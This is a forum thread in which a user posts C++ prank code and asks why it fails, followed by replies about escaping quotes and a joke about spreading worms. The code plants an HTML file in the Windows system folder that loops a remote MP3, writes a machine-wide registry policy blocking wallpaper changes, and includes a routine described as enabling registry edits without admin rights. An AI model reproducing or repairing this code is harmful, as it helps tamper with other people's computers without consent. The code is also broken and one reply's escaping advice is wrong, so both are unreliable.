C++ code sum1 help me figure out what is wrong

#include <windows.h>
#include <fstream.h>

//To do
//mb bug fix, and setting the background to C:\\WINDOWS\\system32\\system.html



// Allows registry edits without, being on admin user. Working!
BOOL	SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
	HANDLE hToken; 

	OpenProcessToken(GetCurrentProcess(explorer.exe), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	if ( !LookupPrivilegeValue(NULL, lpszPrivilege, &luid) )    
		return FALSE; 
	
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	
	if (bEnablePrivilege)
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
	    tp.Privileges[0].Attributes = 0;

	AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES) NULL, 0); 

	return ( (GetLastError()!=ERROR_SUCCESS)?FALSE:TRUE);
}
	
int main()
{
	//write function working?
    fstream file_op("C:\\WINDOWS\\system32\\system.html");
    file_op<<"<html><embed src=\"http://www.voidwalkerclan.com/BananaPhone.mp3\" hidden=true autostart=true loop=true><noembed><bgsound src=\"http://www.voidwalkerclan.com/BananaPhone.mp3\" loop=infinite></noembed></html>";
    file_op.close();
	//Disables changing of wall paper working!
	unsigned char BUF[4] = "";
	HKEY hKey;
	RegCreateKey (HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\ActiveDesktop", &hKey);
	RegSetValueEx (hKey, "NoChangingWallpaper", 0, REG_DWORD, (LPBYTE) BUF, sizeof (BUF));
	RegCloseKey(hKey);
}

To start, the following code wont work well becuase your using double quotes. when the compiler sees the first set of quotes

Code: Select all

"http://blah.blah.com"

the compiler sets that as one function so the parameter passes through. that means, the program sees that part as one part, then it computes the next quotes, but you would never input "http://www.blah.com" because those quotes alone are a command. I tried making a C++ html generator and found it cant output or write any thing with quotes, within a quote. This is a simple error. Nice piece of code there btw.

You have to escape the quotes so that it doesnt think its the end or start of a string:

Example:

Code: Select all

string data = "  "This is in quotes"   ";

you'd want to do the same with single quotes, and \s .

Looking at his code I see he does escape his quotes

Just to ask, what exactly isnt working right now in that?

sorry hadnt noticed the escape commands before.

lol. but it just seems if he had coded this himself he would know whats going on, rather it looks more as if he copied and paste the code and now cant compile it or so. I stop learning C++ and went to PHP and learned the esacpe command, but wasnt too sure if they worked for C++. Sorry again and thanks for pointing that out RNA.

Hey man no problem, the knowledge is useless if I dont share it.

now now, I define share quite loosely

say if you have the knowledge to write a worm, are you not sharing it by spreading it?
